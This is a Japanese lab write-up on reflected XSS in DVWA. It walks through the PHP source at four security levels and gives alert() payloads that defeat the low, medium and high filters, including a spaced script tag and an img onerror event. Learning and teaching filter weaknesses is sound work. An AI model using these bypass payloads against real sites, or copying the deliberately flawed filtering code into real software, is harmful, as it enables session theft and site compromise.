前提
- kali linux環境がある
- DVWAのセットアップ済み
- 初級レベル理解済み
目標
- 脆弱性の理解を深める。
手順概要
- 大まかな挙動を把握する
- コードを見て脆弱性をみつける
- コードの脆弱性を攻撃する
内容
###挙動の把握
- ボタンを押すとGETリクエストが飛ぶ
- クエリにname=hogeが乗っかる
- そのクエリがpreタグへ転写される(下図)
コードを確認
low
- 特に設定なし。
- scriptを差し込めば、そのまま転写される。
<?php
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
?>
medium
- str_replace(a,b,c)は、cの中にaが入っていればbに置換する
- 今回の場合、
<script>
が入っていれば、"空"へ置換される
<?php
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
?>
high
- mediumロジックは同じ
- ここでは正規表現を使ってさらに厳格にチェックしている。
<?php
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
?>
impossible
- sessionを拿捕する必要がある
- htmlspecialcharsはhtmlにとっての特殊文字をエスケープさせるので、タグの入力が不可能。
<?php
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
脆弱性を攻撃する
low
- 防御無しのため、ストレートに攻撃する。
<script>alert("low")</script>
medium
- 制限されているのは
<script>
という文字列だけなので一部変更すれば突破できる <script >alert("medium")</script >
high
- mediumみたいに空白を開けても並びが"script"ならブロックされる。なので、script以外を使う。
<img src="#" onerror=alert("high")>
impossible
- 無理っぽい